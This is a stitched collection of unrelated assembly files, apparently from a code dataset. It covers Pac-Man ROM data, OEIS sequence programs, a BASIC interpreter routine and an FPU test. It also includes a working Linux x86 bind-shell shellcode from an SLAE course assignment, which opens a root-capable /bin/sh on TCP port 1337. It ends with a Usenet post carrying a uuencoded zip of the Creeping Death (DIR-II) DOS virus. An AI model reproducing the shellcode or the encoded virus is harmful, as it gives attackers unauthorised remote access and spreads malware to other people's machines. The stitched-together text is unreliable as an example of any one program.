;sprite number * 4 to but into top 6 bits (0-63) flips then in bit 0 and 1, and pallete byte
defm $23*4, 1 ; sprite 0, flipped in x, palette 1
defm $3f*4, 1 ; sprite 1
defm $3f*4, 3 ; sprite 2
defm $3f*4, 5 ; sprite 3
defm $3f*4, 7 ; sprite 4
defm $3f*4, 0 ; sprite 5 ;bullet sprite invisible
;starting positions x,y
defm 140, 72 ;sprite 0
defm 15, 200 ;sprite 1
defm 15, 150 ;sprite 2
defm 15, 100 ;sprite 3
defm 15, 50 ;sprite 4
defm 0, 0 ;sprite 5
;sprite velocities x,y
defm 1,0 ;sprite 0 ;set velocity pointing left for bullet to pick up if stationary at start and shoot
defm 2,1 ;sprite 1
defm 1,-1 ;sprite 2
defm -1,1 ;sprite 3
defm -2,-1 ;sprite 4
defm 0,0 ;sprite 5
;holds a rough approximation of the pac-man tilemap in column major format, this is not compressed
;each line of bytes represents a column of the pac-man maze tiles (as re-engineered by me in rom 5e)
;starts with right hand column and works left (basically turn your head to your left shoulder)
;first column all those 032 values are the top row and so on
pac_map_raw:
defm 032,228,230,230,230,230,230,230,230,230,232,032,032,032,239,032,240,032,032,032,228,230,230,230,230,235,237,230,230,230,230,232
defm 032,239,169,169,171,169,169,169,169,169,240,032,032,032,239,032,240,032,032,032,239,169,169,169,171,234,241,169,169,169,169,240
defm 032,239,169,246,255,249,169,246,249,169,240,032,032,032,239,032,240,032,032,032,239,169,246,249,169,247,248,169,246,249,169,240
defm 032,239,169,234,032,241,169,234,241,169,240,032,032,032,239,032,240,032,032,032,239,169,234,241,169,169,169,169,234,241,169,240
defm 032,239,169,234,032,241,169,234,241,169,240,032,032,032,239,032,240,032,032,032,239,169,234,250,255,255,249,169,234,241,169,240
defm 032,239,169,247,254,248,169,247,248,169,247,230,230,230,248,032,247,230,230,230,248,169,247,254,254,254,248,169,234,241,169,240
defm 032,239,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,234,241,169,240
defm 032,239,169,246,255,249,169,246,255,255,255,255,255,255,249,032,246,255,255,255,249,169,246,249,169,246,255,255,252,241,169,240
defm 032,239,169,234,032,241,169,247,254,254,253,251,254,254,248,032,247,254,254,254,248,169,234,241,169,247,254,254,253,241,169,240
defm 032,239,169,234,032,241,169,169,169,169,234,241,069,032,032,032,032,032,032,032,032,169,234,241,169,169,169,169,234,241,169,240
defm 032,239,169,234,032,241,169,246,249,169,234,241,078,058,231,231,231,060,032,246,249,169,234,241,169,246,249,169,234,241,169,240
defm 032,239,169,247,254,248,169,234,241,169,247,248,079,240,032,032,032,239,063,234,241,169,247,248,169,234,241,169,247,248,169,240
defm 032,239,169,169,169,169,169,234,241,169,032,032,032,240,032,032,032,239,089,234,241,169,169,169,169,234,241,169,169,169,169,240
defm 032,044,255,255,255,249,169,234,250,255,255,249,082,155,032,032,032,239,068,234,250,255,255,249,032,234,250,255,255,249,169,240
defm 032,045,254,254,254,248,169,234,251,254,254,248,069,155,032,032,032,239,065,234,251,254,254,248,032,234,251,254,254,248,169,240
defm 032,239,169,169,169,169,169,234,241,169,032,032,089,240,032,032,032,239,069,234,241,169,169,169,169,234,241,169,169,169,169,240
defm 032,239,169,246,255,249,169,234,241,169,246,249,065,240,032,032,032,239,082,234,241,169,246,249,169,234,241,169,246,249,169,240
defm 032,239,169,234,032,241,169,247,248,169,234,241,076,059,230,230,230,061,032,247,248,169,234,241,169,247,248,169,234,241,169,240
defm 032,239,169,234,032,241,169,169,169,169,234,241,080,032,032,032,032,032,032,032,032,169,234,241,169,169,169,169,234,241,169,240
defm 032,239,169,234,032,241,169,246,255,255,252,250,255,255,249,032,246,255,255,255,249,169,234,241,169,246,255,255,252,241,169,240
defm 032,239,169,247,254,248,169,247,254,254,254,254,254,254,248,032,247,254,254,254,248,169,247,248,169,247,254,254,253,241,169,240
defm 032,239,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,169,234,241,169,240
defm 032,239,169,246,255,249,169,246,249,169,246,231,231,231,249,032,246,231,231,231,249,169,246,255,255,255,249,169,234,241,169,240
defm 032,239,169,234,032,241,169,234,241,169,240,032,032,032,239,032,240,000,000,000,239,169,234,251,254,254,248,169,234,241,169,240
defm 032,239,169,234,032,241,169,234,241,169,240,032,032,032,239,032,240,032,032,032,239,169,234,241,169,169,169,169,234,241,169,240
defm 032,239,169,247,254,248,169,247,248,169,240,032,032,032,239,032,240,032,032,032,239,169,247,248,169,246,249,169,247,248,169,240
defm 032,239,169,169,171,169,169,169,169,169,240,032,032,032,239,032,240,032,032,032,239,169,169,169,171,234,241,169,169,169,169,240
defm 032,229,231,231,231,231,231,231,231,231,233,032,032,032,239,032,240,032,032,032,229,231,231,231,231,236,238,231,231,231,231,233
;nice and simple way of specifiying how to split the binary up. Has to be hard coded to file locations
;does an automatic ovewrite of files - needs to be at end of assembler file I think.
;save locations for data for each rom
savebin "D:\PacmanCoding\roms\pacman\pacman.6e",$0000, $1000
savebin "D:\PacmanCoding\roms\pacman\pacman.6f",$1000, $1000
savebin "D:\PacmanCoding\roms\pacman\pacman.6h",$2000, $1000
savebin "D:\PacmanCoding\roms\pacman\pacman.6j",$3000, $1000
;;try and auto launch mame debugger after assembly - does not like spaces in path names
IF ((_ERRORS + _WARNINGS) = 0)
SHELLEXEC "D:\PacmanCoding\mame.exe pacman -debug -rompath D:\PacmanCoding\roms\"
ENDIF | 45.621737 | 156 | 0.59173 |
66b81e7badbbfd8a64435dd1197fafd8af5f71e2 | 288 | asm | Assembly | oeis/134/A134444.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/134/A134444.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/134/A134444.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A134444: (A000012 * A128174 + A128174 * A000012) - A000012.
; Submitted by Jamie Morken(s1)
; 1,1,1,3,1,1,3,3,1,1,5,3,3,1,1,5,5,3,3,1,1,7,5,5,3,3,1,1,7,7,5,5,3,3,1,1,9,7,7,5,5,3,3,1,1,9,9,7,7,5,5,3,3,1,1
lpb $0
add $2,1
sub $0,$2
lpe
sub $2,$0
div $2,2
mov $0,$2
mul $0,2
add $0,1
| 20.571429 | 111 | 0.565972 |
b2777d1030861b31c44a47a81decdda3f724c03b | 766 | asm | Assembly | oeis/173/A173948.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/173/A173948.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/173/A173948.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A173948: a(n) = denominator of (Zeta(2, 1/4) - Zeta(2, n+1/4)), where Zeta is the Hurwitz Zeta function.
; Submitted by Christian Krause
; 1,1,25,2025,342225,98903025,4846248225,121156205625,101892368930625,12328976640605625,16878369020989100625,28372538324282678150625,28372538324282678150625,1390254377889851229380625,3905224547492592103330175625,1409786061644825749302193400625,5245813935380396613153461643725625,403524148875415124088727818748125,213464274755094600642937016117758125,1137551120169899126826211358891533048125,1137551120169899126826211358891533048125,92141640733761829272923120070214176898125
mul $0,2
mov $1,1
lpb $0
mov $2,$0
sub $0,2
add $2,$0
sub $2,1
pow $2,2
mul $3,$2
add $3,$1
mul $1,$2
lpe
gcd $3,$1
div $1,$3
mov $0,$1
| 38.3 | 473 | 0.806789 |
d70a6db8d7fc3ff076e38d94d70c6cdd891d25bd | 2,783 | asm | Assembly | source/general/variable.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | null | null | null | source/general/variable.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | null | null | null | source/general/variable.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | 1 | 2021-10-21T22:53:41.000Z | 2021-10-21T22:53:41.000Z | ; *******************************************************************************************
; *******************************************************************************************
;
; Name : variable.asm
; Purpose : Variable Handler
; Date : 27th July 2019
; Author : Paul Robson (paul@robsons.org.uk)
;
; *******************************************************************************************
; *******************************************************************************************
; *******************************************************************************************
;
; Extract a variable/reference. Put the address in zTemp1 (32 bit)
;
; *******************************************************************************************
VARReference:
sec ; check range @-Z there
cmp #'@'
bcc _VARRError
cmp #'Z'+1 ; there are 27 variables @ and A-Z
bcc _VARROkay
_VARRError:
jmp SyntaxError
;
_VARROkay:
iny ; consume the variable.
cmp (zCurrentLine),y ; is it @@ AA BB CC ?
beq _VARArrayAccess ; array access AA0 AA1 etc.
lda (zCurrentLine),y ; get that second character
dey ; point back to the first character
cmp #KW_LPAREN ; if ( then it is A(x) format.
beq _VARArrayAccess
;
; Straightforward variable access.
;
lda (zCurrentLine),y ; reget variable.
iny
and #31 ; mask out
asl a ; x 4
asl a
sta zTemp1+0 ; rely on variables being page aligned.
lda #FixedVariables >> 8
sta zTemp1+1
lda #0 ; clear upper bytes
sta zTemp1+2
sta zTemp1+3 ; return with address set.
rts
;
; Array access. The variable is at Y, the array is at Y+1
;
_VARArrayAccess:
lda (zCurrentLine),y ; get variable
iny
and #31 ; mask it off
pha ; save on the stack.
;
jsr EvaluateAtomCurrentLevel ; calculate the index.
;
asl evalStack+0,x ; multiply by four.
rol evalStack+1,x
rol evalStack+2,x
rol evalStack+3,x
;
asl evalStack+0,x
rol evalStack+1,x
rol evalStack+2,x
rol evalStack+3,x
;
pla ; put address in zTemp1
asl a ; x 4
asl a
sta zTemp1+0 ; rely on variables being page aligned.
lda #FixedVariables >> 8
sta zTemp1+1
;
phy
ldy #0 ; calculate evalStack+0,3 + (zTemp)
lda (zTemp1),y
adc evalStack+0,x
pha ; save first result as we need the indirection.
;
iny ; 2nd byte
lda (zTemp1),y
adc evalStack+1,x
sta zTemp1+1
pla ; save the low byte.
sta zTemp1+0
;
lda #0
adc evalStack+2,x
sta zTemp1+2
;
lda #0
adc evalStack+3,x
sta zTemp1+3
;
ply ; restore Y, address setup
rts
x1: bra x1
| 27.019417 | 93 | 0.472871 |
84b42c87059741ef5a0a2a17814d4ff845760ed5 | 222 | asm | Assembly | mc-sema/validator/x86/tests/FCMOVU.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86/tests/FCMOVU.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86/tests/FCMOVU.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
FLDPI
FLD1
;SET PF
MOV EAX, 0x3
CMP EAX, 0
;TEST_BEGIN_RECORDING
fcmovu st0, st1
;TEST_END_RECORDING
| 13.875 | 25 | 0.698198 |
1a1d2a7d8d30f99fc8f1f898bc9f8d72ff3252d5 | 3,101 | nasm | Assembly | assignment-1/linux_x86_shell_bind_tcp.nasm | rcesecurity/slae | 32c877607490f5ca3a935ff5c6b7786526da9d0e | [
"MIT"
] | 8 | 2015-09-20T08:45:34.000Z | 2020-12-25T13:05:57.000Z | assignment-1/linux_x86_shell_bind_tcp.nasm | rcesecurity/slae | 32c877607490f5ca3a935ff5c6b7786526da9d0e | [
"MIT"
] | null | null | null | assignment-1/linux_x86_shell_bind_tcp.nasm | rcesecurity/slae | 32c877607490f5ca3a935ff5c6b7786526da9d0e | [
"MIT"
] | 6 | 2015-05-18T20:56:31.000Z | 2020-04-26T22:54:19.000Z | ; SLAE - Assignment #1: Shell Bind TCP Shellcode (Linux/x86)
; Author: Julien Ahrens (@MrTuxracer)
; Website: http://www.rcesecurity.com
global _start
section .text
_start:
;
; int socketcall(int call, unsigned long *args);
; sockfd = socket(int socket_family, int socket_type, int protocol);
;
push 0x66
pop eax ;syscall: sys_socketcall + cleanup eax register
push 0x1
pop ebx ;sys_socket (0x1) + cleanup ebx register
xor esi, esi ;cleanup esi register
push esi ;protocol=IPPROTO_IP (0x0)
push ebx ;socket_type=SOCK_STREAM (0x1)
push 0x2 ;socket_family=AF_INET (0x2)
mov ecx, esp ;save pointer to socket() args
int 0x80 ;exec sys_socket
pop edi ;cleanup register for xchg
xchg edi, eax; save result (sockfd) for later usage
;
; int socketcall(int call, unsigned long *args);
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
xchg ebx, eax ;sys_bind (0x2)
mov al, 0x66 ;syscall: sys_socketcall
;struct sockaddr_in {
; __kernel_sa_family_t sin_family; /* Address family */
; __be16 sin_port; /* Port number */
; struct in_addr sin_addr; /* Internet address */
;};
push esi ;sin_addr=0 (INADDR_ANY)
push word 0x3905 ;sin_port=1337 (network byte order)
push word bx ;sin_family=AF_INET (0x2)
mov ecx, esp ;save pointer to sockaddr_in struct
push 0x10 ;addrlen=16
push ecx ;struct sockaddr pointer
push edi ;sockfd
mov ecx, esp ;save pointer to bind() args
int 0x80 ;exec sys_bind
;
; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);
;
mov al, 0x66 ;syscall 102 (sys_socketcall)
mov bl, 0x4 ;sys_listen
push esi ;backlog=0
push edi ;sockfd
mov ecx, esp ;save pointer to listen() args
int 0x80 ;exec sys_listen
;
; int socketcall(int call, unsigned long *args);
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
;
mov al, 0x66 ;syscall: sys_socketcall
inc ebx ;sys_accept (0x5)
push esi ;addrlen=0
push esi ;addr=0
push edi ;sockfd
mov ecx, esp ;save pointer to accept() args
int 0x80 ;exec sys_accept
;
; int socketcall(int call, unsigned long *args);
; int dup2(int oldfd, int newfd);
;
pop ecx ;dummy-pop to get to the next 0x0
pop ecx ;make sure that ecx contains 0x0 to get the next mov working (sockfd might be greater that 0xFF)
mov cl, 0x2 ;initiate counter
xchg ebx,eax ;save clientfd
; loop through three sys_dup2 calls to redirect stdin(0), stdout(1) and stderr(2)
loop:
mov al, 0x3f ;syscall: sys_dup2
int 0x80 ;exec sys_dup2
dec ecx ;decrement loop-counter
jns loop ;as long as SF is not set -> jmp to loop
;
; int execve(const char *filename, char *const argv[],char *const envp[]);
;
mov al, 0x0b ;syscall: sys_execve
;terminating NULL is already on the stack
push 0x68732f2f ;"hs//"
push 0x6e69622f ;"nib/"
mov ebx, esp ;save pointer to filename
inc ecx ;argv=0, ecx is 0xffffffff (+SF is set)
mov edx, ecx ;make sure edx contains 0
int 0x80 ; exec sys_execve
| 26.058824 | 105 | 0.68623 |
af8e8cd259f29a7784f8a2961d41c0d53395af3b | 10,984 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.dir-2.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.dir-2.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.dir-2.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | From smtp Tue Feb 7 12:40 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 12:40 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id MAA20511 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 12:43:16 -0500
Date: Tue, 7 Feb 1995 12:43:16 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 10475
Content-Type: text
Message-Id: <199502071743.MAA20511@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) Creeping Death (dir-2)
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!howland.reston.ans.net!pipex!uunet!uunet.ca!uunet.ca!io.org!wink.io.org!cwalker
From: cwalker@wink.io.org (Chad Walker)
Newsgroups: alt.comp.virus
Subject: Creeping Death (dir-2)
Date: 3 Feb 1995 11:11:59 GMT
Organization: Internex Online, Toronto, Ontario, Canada (416 363 3783)
Lines: 161
Message-ID: <3gt31v$sm5@ionews.io.org>
NNTP-Posting-Host: wink.io.org
X-Newsreader: TIN [version 1.2 PL2]
begin 664 dir2.zip
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
